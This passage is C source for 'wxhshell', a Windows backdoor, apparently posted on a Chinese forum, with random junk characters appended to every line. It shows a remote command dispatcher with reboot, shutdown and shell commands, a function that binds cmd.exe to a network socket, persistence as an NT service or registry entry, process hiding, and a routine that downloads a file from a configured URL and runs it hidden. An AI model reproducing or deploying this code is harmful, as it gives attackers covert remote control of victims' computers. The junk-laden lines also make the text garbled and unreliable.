    switch(cmd[0]) { ujU,O%.n  
  Fc~G*Gz~Z|  
  // 帮助 _f1o!4ocx  
  case '?': { Ar`+x5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cHjQwl  
    break; )PX VR T  
  } AkhG~L  
  // 安装 77P\:xc  
  case 'i': { <J/ =$u/  
    if(Install()) ma.84~m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hbw(o  
    else "tJ+v*E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I |Oco?Q"  
    break; }Q\%tZC#T  
    } q~ H>rC(\  
  // 卸载 wZqYtJ  
  case 'r': { oz) [ -  
    if(Uninstall()) "H-s_Y#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dljE.peL  
    else 3:)z+#Uk6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ARKM[]  
    break; NXW*{b  
    } u,^CFws_  
  // 显示 wxhshell 所在路径 hFrMOc&  
  case 'p': { OM86C  
    char svExeFile[MAX_PATH]; Y t(D  
    strcpy(svExeFile,"\n\r"); 9]4Q@%  
      strcat(svExeFile,ExeFile); >Bt82ibN  
        send(wsh,svExeFile,strlen(svExeFile),0); Xka REE  
    break; LgqQr6y"  
    } J=g)rd[`  
  // 重启 O2w-nd74U  
  case 'b': { eV9U+]C`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pv_o4qEN  
    if(Boot(REBOOT)) 3:J>-MO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AGlBvRX7e  
    else { VD;*UkapZx  
    closesocket(wsh); g`Z=Y7jLH  
    ExitThread(0); @!8aZB3odt  
    } jLAEHEs  
    break; u47<J?!Q  
    } x~5uc$  
  // 关机 '7iz5wC#  
  case 'd': { ~Amq1KU*Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); BoD{fg  
    if(Boot(SHUTDOWN)) 2HX/@ERhmu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -l^<[%  
    else { j*{0<hZb}  
    closesocket(wsh); !~ox;I}S  
    ExitThread(0); >3 o4 U2  
    } p~D}Iyww1_  
    break; djd/QAfSC  
    } )U/jD  
  // 获取shell VYk:c`E  
  case 's': { J9^NHU  
    CmdShell(wsh); #Hw|P  
    closesocket(wsh); ?CpVA  
    ExitThread(0); YT\`R  
    break; ;%e&6  
  } =[B\50]  
  // 退出 I/E9:  
  case 'x': { .u-a+ac<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f ,F X# _4  
    CloseIt(wsh); Kk3+ ]W<  
    break; p3s i\Fm!  
    } f ULt4  
  // 离开 '{&Q&3J_  
  case 'q': { 1`cH EAa  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2t= = <x  
    closesocket(wsh); Ge^`f<f  
    WSACleanup(); ejN/U{)jK'  
    exit(1); u`bD`kfT>  
    break; .#[ 9q-  
        } N} EKV  
  } 0TU3 _;o  
  } %a%xUce&-X  
Y_Yf'z1>[  
  // 提示信息 X8C7d6ca  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I)HO/i 6>3  
} c-w #`  
  } 5pQpzn =  
`fv5U%  
  return; i%2u>N i^  
} GVY7`k"km  
Q,U0xGGz  
// shell模块句柄 6v`3/o  
int CmdShell(SOCKET sock) GZ%vFje_ K  
{ HC iRk1  
STARTUPINFO si; *+M#D^qo  
ZeroMemory(&si,sizeof(si)); uwe#& V-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H:fKv7XL  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I}C2;[aB  
PROCESS_INFORMATION ProcessInfo; v$ ti=uk$  
char cmdline[]="cmd"; #2tmi1 ya  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RQVu~7d[  
  return 0; \Y P,}_ ~  
} '| 8 dt "C  
EPm~@8@"j?  
// 自身启动模式 : auR0FE  
int StartFromService(void) 4XkI? l  
{ k^5Lv#Z  
typedef struct : |'(T[~L  
{ (r|m&/  
  DWORD ExitStatus; 05d0p|},  
  DWORD PebBaseAddress; F8pA)!AH  
  DWORD AffinityMask; =uP? ?E  
  DWORD BasePriority; t"=5MaQk-  
  ULONG UniqueProcessId; {>>X3I  
  ULONG InheritedFromUniqueProcessId; 3?Pg ;  
}   PROCESS_BASIC_INFORMATION; zPt<b!q  
`Ba]i)!  
PROCNTQSIP NtQueryInformationProcess; #g{R+#fm  
-FZC|[is  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fi?4!h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +O}Ik.w  
F!+1w(b:  
  HANDLE             hProcess; EU[\D;  
  PROCESS_BASIC_INFORMATION pbi; Gwd38  
K[[~G1Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aOD h5  
  if(NULL == hInst ) return 0; pz%s_g'  
7l* &Fh9;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TgiZ % G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2<D| {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X^\D"fmE.  
P6+ B!pY  
  if (!NtQueryInformationProcess) return 0; 5m8u:6kQu  
)/RG-L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); us.#|~i<h  
  if(!hProcess) return 0; C4+DZ<pE  
o/pw=R/):  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z,,"yVk`,  
yE}\4_0I/  
  CloseHandle(hProcess); &8$v~  
*5)UIRd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ';C'9k<P:  
if(hProcess==NULL) return 0; gk6f_0?X'  
* %D_\0;  
HMODULE hMod; n`,  <g  
char procName[255]; ifD WN*k6  
unsigned long cbNeeded; nPyn~3  
h;V 4|jM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VLXA6+  
ddQ+EY@!  
  CloseHandle(hProcess); wJC[[_"3 I  
P$E iD+5#z  
if(strstr(procName,"services")) return 1; // 以服务启动 jVff@)_S  
Kg%9&l  
  return 0; // 注册表启动 P:{Aq n~zR  
} JduO^Fit  
J"aw 1  
// 主模块 ZHTi4JY  
int StartWxhshell(LPSTR lpCmdLine) LG[N\%<!H  
{ .S//T/3O]Q  
  SOCKET wsl; s"jvO>[  
BOOL val=TRUE; M}8P _<,  
  int port=0; |]7c&`  
  struct sockaddr_in door; -1Q24jrO-  
Xm#W}Y'  
  if(wscfg.ws_autoins) Install(); SBxpJsW >  
#pvq9fss,}  
port=atoi(lpCmdLine); [F6 )Z[uG  
+|/0sPW(  
if(port<=0) port=wscfg.ws_port; M%E<]H2;S  
M<-Q8 a~  
  WSADATA data; ;,77|]<XE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #`iEbiSq  
Y 9$jJ1V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~1O|4mssS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \F|)w|v  
  door.sin_family = AF_INET; =u2 z3$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); od=hCQ1 >  
  door.sin_port = htons(port); orjtwF>^  
p%DU1+SA  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sxT&T=7  
closesocket(wsl); o `YBz~2  
return 1; '{ <RX  
} x?S86,RW  
5*44QV  
  if(listen(wsl,2) == INVALID_SOCKET) { |[`YGA4  
closesocket(wsl); !)bZ.1o  
return 1; oJa}NH   
} #Z1%XCt  
  Wxhshell(wsl); 505c(+  
  WSACleanup(); mG~k f]Y  
"rB B&l  
return 0; T AG@Ab  
URb8[~dR:  
} G_+/ e]P  
B_[efM<R$  
// 以NT服务方式启动 hO"!q;<eS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k8?._1t  
{ z"f@iJX?2  
DWORD   status = 0; U'=8:&  
  DWORD   specificError = 0xfffffff; h$8h@2%  
3t-STk?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &~*](Ma  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (WHg B0{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OlT8pG5Oa  
  serviceStatus.dwWin32ExitCode     = 0; L\#YFf  
  serviceStatus.dwServiceSpecificExitCode = 0; l8G1N[  
  serviceStatus.dwCheckPoint       = 0; r D@*xMW  
  serviceStatus.dwWaitHint       = 0; Z5t^D|  
r^5%0_F]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &g;!n&d zP  
  if (hServiceStatusHandle==0) return; p_I^7 $  
e]VW\ 6J&  
status = GetLastError(); h(=<-p @  
  if (status!=NO_ERROR) 7(}'jZ  
{ ."wF86jW|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LG8h@HY&L  
    serviceStatus.dwCheckPoint       = 0; Ao\P|K9MyL  
    serviceStatus.dwWaitHint       = 0; O50_qu33ju  
    serviceStatus.dwWin32ExitCode     = status; @)d_zWE  
    serviceStatus.dwServiceSpecificExitCode = specificError; sFM$O232  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p3vf7eqn  
    return; 8&U Mmbgy  
  } Nvd(?+c  
X,G<D}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; NK qI x  
  serviceStatus.dwCheckPoint       = 0; 4s 7 RB  
  serviceStatus.dwWaitHint       = 0; wQG?)aaM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,ayEZ#4.m  
} 6J>AU  
4'z)J1M  
// 处理NT服务事件,比如:启动、停止 V8/4:Va7 s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Qs\a&Q=0H  
{ q=pRe-{  
switch(fdwControl) jJIP $  
{ x*H#?.E  
case SERVICE_CONTROL_STOP: +j{Cfv$do  
  serviceStatus.dwWin32ExitCode = 0; =!t;e~^8]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S]fu M%  
  serviceStatus.dwCheckPoint   = 0; 5, $6mU#=  
  serviceStatus.dwWaitHint     = 0; TVNgj.`+u!  
  { %tP*_d:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q0(6n8i  
  } Srx:rUCv  
  return; x|m9?[ !_  
case SERVICE_CONTROL_PAUSE: > -OOU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6FzB-],  
  break; 2PAu>}W*  
case SERVICE_CONTROL_CONTINUE: `,'/Sdr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S OI=~BGd)  
  break; ?Kgb-bXB  
case SERVICE_CONTROL_INTERROGATE: bkd`7(r  
  break; u@dvFzc  
}; <<!fA ><W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'S3<' X  
} 0g[ %)C  
YVc cO~!8  
// 标准应用程序主函数 /K|(O^nw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) TR3U<:  
{ a U\|ZCH\]  
R `ViRJh  
// 获取操作系统版本 PcC@}3  
OsIsNt=GetOsVer(); R ABw( b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tc(=J7*r&  
Wh i#Ii~  
  // 从命令行安装 %[|^7  
  if(strpbrk(lpCmdLine,"iI")) Install(); &:l-;7d  
#_.J kY  
  // 下载执行文件 |'z8>1  
if(wscfg.ws_downexe) { E[t0b5h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s $Vv  
  WinExec(wscfg.ws_filenam,SW_HIDE); cCZp6^/<x  
} y7hDMQ c'  
>$'z4TC\T  
if(!OsIsNt) { kQmkS^R  
// 如果时win9x,隐藏进程并且设置为注册表启动 &Pb:P?I  
HideProc(); J$51z  
StartWxhshell(lpCmdLine); b7>'ARdbzX  
} r>(,)rs(l  
else -Fd&rq:GB(  
  if(StartFromService()) 0{b} 1D  
  // 以服务方式启动 T [$-])iK  
  StartServiceCtrlDispatcher(DispatchTable); -8^qtB  
else <-k!  
  // 普通方式启动 C7S\4rDJ  
  StartWxhshell(lpCmdLine); }O*`I(  
Y5tyFi#w[  
return 0; ai-s9r'MI?  
}
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只看该作者 1 发表于: 2006-10-10
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